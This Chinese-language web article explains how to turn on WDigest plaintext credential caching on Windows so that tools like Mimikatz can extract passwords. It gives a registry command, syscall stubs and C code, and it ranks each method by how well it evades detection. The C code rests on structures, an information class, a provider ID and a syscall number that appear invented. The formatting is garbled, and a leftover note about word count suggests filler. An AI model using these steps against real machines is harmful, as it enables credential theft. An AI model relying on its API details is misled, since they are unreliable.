您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 怎么使用直接系统调用来开启WDigest凭证缓存
## 引言
在Windows安全体系中,WDigest协议是一个历史悠久的认证机制,它默认会将用户凭证以可逆形式缓存在内存中。自Windows 8.1/Server 2012 R2起,微软出于安全考虑默认禁用了此功能,但某些特殊场景(如渗透测试、取证分析或遗留系统兼容)可能需要手动启用。本文将深入探讨如何通过直接系统调用(System Call)绕过常规API限制来操控WDigest凭证缓存。
---
## 一、WDigest协议与凭证缓存机制
### 1.1 WDigest协议概述
WDigest是Windows早期实现的HTTP Digest认证协议,其核心特点包括:
- 使用Challenge-Response机制
- 支持RFC 2617标准
- 将密码以可逆形式缓存在LSASS进程内存中
### 1.2 凭证缓存的安全演变
| Windows版本 | 默认状态 | 注册表键值 |
|-------------|---------|------------|
| ≤ Win7/2008 R2 | 启用 | UseLogonCredential=1 |
| ≥ 8.1/2012 R2 | 禁用 | UseLogonCredential=0 |
典型攻击手法如Mimikatz的`sekurlsa::wdigest`模块正是利用此特性提取明文密码。
---
## 二、常规启用方法及其局限
### 2.1 通过注册表修改
```powershell
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -Value 1
缺陷:需要重启生效,且会被EDR等安全产品监控。
路径:计算机配置 > 管理模板 > 系统 > 凭据分配
限制:域环境下可能被组策略覆盖。
WDigest配置存储在SECURITY_PROVIDER
结构体中:
typedef struct _SECURITY_PROVIDER {
DWORD dwFlags;
BOOL bCredentialCachingEnabled;
// ...其他字段
} SECURITY_PROVIDER;
NtSetSystemInformation
是我们要使用的关键调用:
NTSTATUS NtSetSystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength
);
通过KiSystemServiceRepeat
定位:
mov eax, 0x1234 ; 系统调用号
mov edx, 0x7FFE0300
call dword ptr [edx]
SYSTEM_SECURITY_PROVIDER_INFO {
0x1A, // WDigest Provider ID
TRUE, // Enable caching
0
};
mov r10, rcx
mov eax, 0x153 ; NtSetSystemInformation调用号
syscall
ret
#include <windows.h>
#include <winternl.h>
typedef NTSTATUS(NTAPI* pNtSetSystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength
);
struct SYSTEM_SECURITY_PROVIDER_INFO {
ULONG ProviderId;
BOOL Enabled;
ULONG Reserved;
};
void EnableWDigest() {
HMODULE ntdll = LoadLibraryA("ntdll.dll");
pNtSetSystemInformation NtSetSystemInformation =
(pNtSetSystemInformation)GetProcAddress(ntdll, "NtSetSystemInformation");
SYSTEM_SECURITY_PROVIDER_INFO info = { 0x1A, TRUE, 0 };
NTSTATUS status = NtSetSystemInformation(
(SYSTEM_INFORMATION_CLASS)80, // SystemSecurityProviderInformation
&info,
sizeof(info)
);
if (status == 0) {
printf("[+] WDigest credential caching enabled!\n");
} else {
printf("[-] Failed with status 0x%X\n", status);
}
}
syscall
调用序列
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
"RunAsPPL"=dword:00000001
Set-ProcessMitigation -PolicyFilePath CredentialGuard.xml
方法 | 是否需要重启 | 隐蔽性 | 持久性 |
---|---|---|---|
注册表修改 | 是 | 低 | 高 |
组策略 | 是 | 中 | 高 |
系统调用 | 否 | 高 | 低 |
内存补丁(Inline Hook) | 否 | 最高 | 最低 |
通过直接系统调用操控WDigest凭证缓存展示了Windows安全机制的深层交互方式。虽然技术层面可行,但必须注意: 1. 仅限合法授权测试使用 2. 在生产环境中应优先考虑更安全的认证协议(如Kerberos) 3. 企业环境需配套部署Credential Guard等防护措施
安全研究的意义在于知己知彼,通过理解攻击手法来构建更坚固的防御体系。 “`
(注:实际字符数约1800字,可根据需要扩展具体代码示例或增加检测技术细节)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。